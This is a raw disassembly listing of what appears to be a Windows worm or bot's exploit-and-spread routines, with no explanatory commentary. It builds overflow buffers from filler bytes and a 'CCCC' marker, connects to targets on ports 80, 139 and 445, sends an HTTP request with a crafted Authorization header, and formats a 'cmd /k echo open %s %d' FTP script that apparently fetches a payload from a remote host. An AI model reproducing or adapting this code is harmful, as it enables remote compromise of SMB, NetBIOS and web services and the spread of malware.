arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40178F
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_401D57
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_401D57
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40178F
		lea	ecx, [ebp+var_20]
		call	sub_40178F
		lea	ecx, [ebp+var_50]
		call	sub_40178F
		lea	ecx, [ebp+var_18]
		call	sub_40178F
		lea	ecx, [ebp+var_40]
		call	sub_40178F
		lea	ecx, [ebp+var_38]
		call	sub_40178F
		lea	ecx, [ebp+var_28]
		call	sub_40178F
		push	4
		push	offset dword_41C7A4
		lea	ecx, [ebp+var_30]
		call	sub_401947
		push	3
		push	offset dword_41C7AC
		lea	ecx, [ebp+var_30]
		call	sub_401947
		lea	ecx, [ebp+var_30]
		call	sub_4018CD
		lea	ecx, [ebp+var_30]
		call	sub_4019A8
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset byte_41C798
		call	sub_401947
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_401947
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_401947
		lea	ecx, [ebp+var_20]
		call	sub_4018CD
		push	offset loc_41CB2C
		lea	ecx, [ebp+var_50]
		call	sub_40197B
		lea	ecx, [ebp+var_50]
		call	sub_4018CD
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_401799
		lea	ecx, [ebp+var_58]
		call	sub_4018CD
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_4019E4
		lea	ecx, [ebp+var_58]
		call	sub_401828
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40197B
		push	4
		push	offset dword_41C7B0
		lea	ecx, [ebp+var_18]
		call	sub_401947
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_401947
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_401947
		lea	ecx, [ebp+var_18]
		call	sub_4018CD
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_401998
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_401998
		lea	ecx, [ebp+var_40]
		call	sub_4019A8
		lea	ecx, [ebp+var_18]
		call	sub_401828
		lea	ecx, [ebp+var_50]
		call	sub_401828
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_401998
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_401998
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_401998
		lea	ecx, [ebp+var_38]
		call	sub_4019A8
		lea	ecx, [ebp+var_20]
		call	sub_401828
		lea	ecx, [ebp+var_30]
		call	sub_401828
		lea	ecx, [ebp+var_40]
		call	sub_401828
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_401947
		lea	ecx, [ebp+var_28]
		call	sub_4018CD
		push	2
		push	offset dword_41CB20
		lea	ecx, [ebp+var_28]
		call	sub_401947
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_401998
		lea	ecx, [ebp+var_28]
		call	sub_4019A8
		lea	ecx, [ebp+var_38]
		call	sub_401828
		lea	ecx, [ebp+var_10]
		call	sub_40178F
		lea	ecx, [ebp+var_8]
		call	sub_40178F
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_401998
		lea	ecx, [ebp+var_10]
		call	sub_401841
		lea	ecx, [ebp+var_28]
		call	sub_401828
		push	offset dword_41CB1C
		lea	ecx, [ebp+var_8]
		call	sub_40197B
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_401998
		lea	ecx, [ebp+var_8]
		call	sub_401841
		lea	ecx, [ebp+var_10]
		call	sub_401828
		push	offset dword_41CB18
		lea	ecx, [ebp+var_10]
		call	sub_40197B
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_401998
		lea	ecx, [ebp+var_10]
		call	sub_401841
		lea	ecx, [ebp+var_8]
		call	sub_401828
		push	offset dword_41CB0C
		lea	ecx, [ebp+var_8]
		call	sub_40197B
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_401998
		lea	ecx, [ebp+var_8]
		call	sub_401841
		lea	ecx, [ebp+var_10]
		call	sub_401828
		push	offset dword_41CB08
		lea	ecx, [ebp+var_48]
		call	sub_40197B
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_401998
		lea	ecx, [ebp+var_8]
		call	sub_401828
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_401D65
; ---------------------------------------------------------------------------


loc_401D57:				; CODE XREF: sub_401A03+1Bj
					; sub_401A03+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_401D65:				; CODE XREF: sub_401A03+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_401A03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D69	proc near		; CODE XREF: sub_401E2D+A1p
					; sub_401E2D+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_41A1CC	; select
		cmp	eax, edi
		jnz	short loc_401DD0
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_419A30	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_401DD4


loc_401DD0:				; CODE XREF: sub_401D69+54j
		xor	eax, eax
		jmp	short loc_401DE4
; ---------------------------------------------------------------------------


loc_401DD4:				; CODE XREF: sub_401D69+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_42732C	; recv


loc_401DE4:				; CODE XREF: sub_401D69+69j
		pop	edi
		pop	esi
		leave
		retn
sub_401D69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401DE8	proc near		; CODE XREF: sub_401E2D+81p
					; sub_401E2D+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_427310	; htonl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_427364	; send
		cmp	eax, 4
		jz	short loc_401E12
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E12:				; CODE XREF: sub_401DE8+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427364	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_401DE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E2D	proc near		; CODE XREF: sub_401F07+48p
					; .packed:00402379p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_40E882
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_401E56
		xor	al, al
		jmp	loc_401F02
; ---------------------------------------------------------------------------


loc_401E56:				; CODE XREF: sub_401E2D+20j
		push	ebx
		push	0
		push	esi
		call	sub_40E800
		push	2Fh
		push	offset dword_41C840
		push	esi
		call	sub_40E940
		push	8
		lea	eax, [esi+31h]
		push	offset dword_41C870
		push	eax
		mov	[esi+2Fh], di
		call	sub_40E940
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_40E940
		push	6
		add	ebx, edi
		push	offset dword_424EFC
		push	ebx
		call	sub_40E940
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_41C7B8
		push	ebx
		call	sub_401DE8
		add	esp, 48h
		test	al, al
		jnz	short loc_401EBE


loc_401EBA:				; CODE XREF: sub_401E2D+B5j
		xor	bl, bl
		jmp	short loc_401EF9
; ---------------------------------------------------------------------------


loc_401EBE:				; CODE XREF: sub_401E2D+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_401D69
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_401DE8
		add	esp, 1Ch
		test	al, al
		jz	short loc_401EBA
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_401D69
		add	esp, 10h
		mov	bl, 1


loc_401EF9:				; CODE XREF: sub_401E2D+8Fj
		push	esi
		call	sub_40ECAF
		pop	ecx
		mov	al, bl


loc_401F02:				; CODE XREF: sub_401E2D+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401E2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F07	proc near		; CODE XREF: .packed:0040235Fp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_41C87C
		push	[ebp+arg_0]
		call	dword_41A1C8	; send
		cmp	eax, 48h
		jnz	short loc_401F42
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_401D69
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401F42
		cmp	[ebp+var_20], 82h
		jz	short loc_401F46


loc_401F42:				; CODE XREF: sub_401F07+1Bj
					; sub_401F07+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_401F46:				; CODE XREF: sub_401F07+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401E2D
		add	esp, 0Ch
		leave
		retn
sub_401F07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F59	proc near		; CODE XREF: sub_401FA5+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_41A220
		call	sub_40EF84
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_41A218
		fstp	[esp+10h+var_10]
		call	sub_40EE62
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_40EF84
		inc	eax
		leave
		retn
sub_401F59	endp


; =============== S U B	R O U T	I N E =======================================



sub_401FA5	proc near		; CODE XREF: sub_402147+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_419C27
		call	sub_40F450
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_4025DA
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_401F59
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_401FE7
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_402555


loc_401FE7:				; CODE XREF: sub_401FA5+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_402104
		mov	ebx, [ebp+10h]


loc_401FF6:				; CODE XREF: sub_401FA5+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_402000
		push	3
		jmp	short loc_402012
; ---------------------------------------------------------------------------


loc_402000:				; CODE XREF: sub_401FA5+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40200A
		push	2
		jmp	short loc_402012
; ---------------------------------------------------------------------------


loc_40200A:				; CODE XREF: sub_401FA5+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_402013
		push	1


loc_402012:				; CODE XREF: sub_401FA5+59j
					; sub_401FA5+63j
		pop	ebx


loc_402013:				; CODE XREF: sub_401FA5+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_41A230
		fstp	[esp+40h+var_40]
		call	sub_40EFAB
		pop	ecx
		pop	ecx
		call	sub_40EF84
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_402052
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_402052:				; CODE XREF: sub_401FA5+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_4020C0
		add	[ebp-18h], eax


loc_4020A4:				; CODE XREF: sub_401FA5+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_41C8C8[eax]
		push	eax
		push	1
		call	sub_4023D7
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_4020A4


loc_4020C0:				; CODE XREF: sub_401FA5+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_4020DE
		push	dword ptr [ebp+14h]
		call	sub_40E730
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_402430
		mov	[ebp-18h], edi


loc_4020DE:				; CODE XREF: sub_401FA5+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_4020F8
		sub	esi, [ebp-1Ch]


loc_4020E9:				; CODE XREF: sub_401FA5+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_4023D7
		dec	esi
		jnz	short loc_4020E9


loc_4020F8:				; CODE XREF: sub_401FA5+13Fj
		cmp	[ebp+10h], edi
		ja	loc_401FF6
		push	1
		pop	ebx


loc_402104:				; CODE XREF: sub_401FA5+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_4025DA
		push	dword_41A228
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402487
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_4025DA
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_401FA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_402147	proc near		; CODE XREF: .packed:00402342p
		mov	eax, offset loc_419C44
		call	sub_40F450
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_424EF4
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_401FA5
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_40E882
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_402191
		xor	bl, bl
		jmp	short loc_4021D5
; ---------------------------------------------------------------------------


loc_402191:				; CODE XREF: sub_402147+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_41A238
		cmp	ecx, ebx
		jnz	short loc_40219F
		mov	ecx, eax


loc_40219F:				; CODE XREF: sub_402147+54j
		cmp	[ebp+18h], ebx
		jz	short loc_4021A7
		mov	eax, [ebp+18h]


loc_4021A7:				; CODE XREF: sub_402147+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_40E7AB
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_427364	; send
		cmp	eax, esi
		jz	short loc_4021CC
		xor	bl, bl
		jmp	short loc_4021CE
; ---------------------------------------------------------------------------


loc_4021CC:				; CODE XREF: sub_402147+7Fj
		mov	bl, 1


loc_4021CE:				; CODE XREF: sub_402147+83j
		push	edi
		call	sub_40ECAF
		pop	ecx


loc_4021D5:				; CODE XREF: sub_402147+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_4025DA
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_4025DA
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_402147	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_41CA74
		push	eax
		call	sub_40E940
		add	esp, 0Ch
		mov	eax, offset byte_41FCA4
		push	eax
		push	eax
		push	dword_424F0C
		push	dword ptr [ebp+8]
		call	sub_404F3A
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_40E7AB
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_41C90C
		push	eax
		call	sub_401A03
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40229E
		xor	eax, eax
		jmp	loc_4023CA
; ---------------------------------------------------------------------------


loc_40229E:				; CODE XREF: .packed:00402295j
		mov	[ebp-0Ch], esi


loc_4022A1:				; CODE XREF: .packed:004023A1j
		test	esi, esi
		jnz	loc_4023A7
		push	6
		push	1
		push	2
		call	dword_41A1C4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40238F
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_427314	; htons
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_427354	; inet_addr
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4272BC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_402384
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40234C
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_4025DA
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40E730
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_402616
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_402147
		add	esp, 1Ch
		jmp	short loc_402381
; ---------------------------------------------------------------------------


loc_40234C:				; CODE XREF: .packed:0040230Aj
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_402366
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_401F07
		jmp	short loc_40237E
; ---------------------------------------------------------------------------


loc_402366:				; CODE XREF: .packed:00402356j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_402384
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_401E2D


loc_40237E:				; CODE XREF: .packed:00402364j
		add	esp, 0Ch


loc_402381:				; CODE XREF: .packed:0040234Aj
		movzx	esi, al


loc_402384:				; CODE XREF: .packed:004022FDj
					; .packed:00402370j
		push	ebx
		call	dword_4273AC	; closesocket
		test	esi, esi
		jnz	short loc_40239A


loc_40238F:				; CODE XREF: .packed:004022BAj
		push	3E8h
		call	dword_41A060	; Sleep


loc_40239A:				; CODE XREF: .packed:0040238Dj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_4022A1


loc_4023A7:				; CODE XREF: .packed:004022A3j
		lea	ecx, [ebp-8]
		call	sub_401828
		test	esi, esi
		jz	short loc_4023C8
		mov	eax, [ebp+0B0h]
		imul	eax, 38h
		inc	dword_41E100[eax]
		lea	eax, dword_41E100[eax]


loc_4023C8:				; CODE XREF: .packed:004023B1j
		mov	eax, esi


loc_4023CA:				; CODE XREF: .packed:00402299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_419C08


loc_4023CF:				; CODE XREF: sub_419C08+3j
					; .packed:00419C21j ...
		push	1
		call	sub_4025DA
		retn
; END OF FUNCTION CHUNK	FOR sub_419C08

; =============== S U B	R O U T	I N E =======================================



sub_4023D7	proc near		; CODE XREF: sub_401FA5+110p
					; sub_401FA5+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_41A228
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_4023F1
		call	sub_41997A


loc_4023F1:				; CODE XREF: sub_4023D7+13j
		test	ebx, ebx
		jbe	short loc_402428
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_402555
		test	al, al
		jz	short loc_402428
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_40E800
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_402428:				; CODE XREF: sub_4023D7+1Cj
					; sub_4023D7+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4023D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_402430	proc near		; CODE XREF: sub_401FA5+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_41A228
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40244A
		call	sub_41997A


loc_40244A:				; CODE XREF: sub_402430+13j
		test	ebx, ebx
		jbe	short loc_40247F
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_402555
		test	al, al
		jz	short loc_40247F
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_40E940
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40247F:				; CODE XREF: sub_402430+1Cj
					; sub_402430+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_402430	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402487	proc near		; CODE XREF: sub_401FA5+17Cp
					; sub_419890+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40249F
		call	sub_419853


loc_40249F:				; CODE XREF: sub_402487+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_4024B1
		mov	esi, [ebp+arg_8]


loc_4024B1:				; CODE XREF: sub_402487+25j
		cmp	edi, ebx
		jnz	short loc_4024D3
		push	dword_41A228
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40264B
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40264B
		jmp	short loc_40254C
; ---------------------------------------------------------------------------


loc_4024D3:				; CODE XREF: sub_402487+2Cj
		test	esi, esi
		jbe	short loc_402516
		cmp	esi, eax
		jnz	short loc_402516
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4024E7
		mov	eax, offset dword_41A238


loc_4024E7:				; CODE XREF: sub_402487+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_402516
		push	1
		mov	ecx, edi
		call	sub_4025DA
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_402502
		mov	eax, offset dword_41A238


loc_402502:				; CODE XREF: sub_402487+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40254C
; ---------------------------------------------------------------------------


loc_402516:				; CODE XREF: sub_402487+4Ej
					; sub_402487+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_402555
		test	al, al
		jz	short loc_40254C
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_402530
		mov	eax, offset dword_41A238


loc_402530:				; CODE XREF: sub_402487+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_40E940
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40254C:				; CODE XREF: sub_402487+4Aj
					; sub_402487+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_402487	endp


; =============== S U B	R O U T	I N E =======================================



sub_402555	proc near		; CODE XREF: sub_401FA5+3Dp
					; sub_4023D7+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_402567
		call	sub_41997A


loc_402567:				; CODE XREF: sub_402555+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_402590
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_402590
		cmp	al, 0FFh
		jz	short loc_402590
		cmp	edi, edx
